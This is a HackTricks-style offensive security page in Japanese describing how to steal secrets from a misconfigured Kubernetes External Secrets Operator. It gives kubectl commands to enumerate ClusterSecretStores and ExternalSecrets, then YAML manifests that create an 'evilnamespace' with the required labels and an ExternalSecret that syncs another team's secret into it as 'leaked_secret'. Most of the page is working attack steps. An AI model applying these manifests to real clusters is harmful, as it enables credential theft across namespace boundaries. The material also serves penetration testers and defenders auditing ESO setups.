# External Secret Operator

{{#include ../../banners/hacktricks-training.md}}

**このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/)

このページでは、誤って構成されたESOまたはESOを使用して秘密を同期するアプリケーションから秘密を盗む方法についてのいくつかのポイントを示します。

## 免責事項

以下に示す技術は、特定の条件が満たされる場合にのみ機能します。たとえば、あなたが所有または侵害した名前空間で秘密を同期するために必要な要件に依存します。自分で見つける必要があります。

## 前提条件

1. 名前空間での管理者権限を持つkubernetes / openshiftクラスターへの足場
2. クラスターレベルでの少なくともExternalSecretへの読み取りアクセス
3. ESOがあなたの秘密を同期するために必要なラベル/アノテーションまたはグループメンバーシップがあるかどうかを確認します。運が良ければ、定義された秘密を自由に盗むことができます。

### 既存のClusterSecretStoreに関する情報収集

このリソースを読むのに十分な権限を持つユーザーがいると仮定して、まず既存の_**ClusterSecretStores**_をリストアップすることから始めます。
```sh
kubectl get ClusterSecretStore
```
### ExternalSecretの列挙

ClusterSecretStoreの名前が _**mystore**_ であると仮定します。その関連するexternalsecretを列挙します。
```sh
kubectl get externalsecret -A | grep mystore
```
_このリソースは名前空間スコープであるため、どの名前空間を探すべきかすでに知っていない限り、-Aオプションを追加してすべての名前空間を横断して探してください。_

定義されたexternalsecretのリストが得られるはずです。_**mysecret**_というexternalsecretオブジェクトが_**mynamespace**_名前空間によって定義され、使用されていると仮定しましょう。それが保持している秘密の種類について、もう少し情報を集めてください。
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### 部品の組み立て

ここから、1つまたは複数のシークレット名（Secretリソースで定義されているように）を取得できます。出力は次のようになります:
```yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
```
これまでに得たものは次のとおりです：

- ClusterSecretStoreの名前
- ExternalSecretの名前
- シークレットの名前

必要なものがすべて揃ったので、ExternalSecretを作成できます（最終的には、新しいシークレットを同期させるために必要な前提条件を満たすために、新しいNamespaceをパッチまたは作成することになります）：
```yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
```

```yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
数分後、同期条件が満たされていれば、あなたのネームスペース内で漏洩したシークレットを表示できるはずです。
```sh
kubectl get secret leaked_secret -o yaml
```
## 参考文献

{{#ref}}
https://external-secrets.io/latest/
{{#endref}}

{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}



{{#include ../../banners/hacktricks-training.md}}
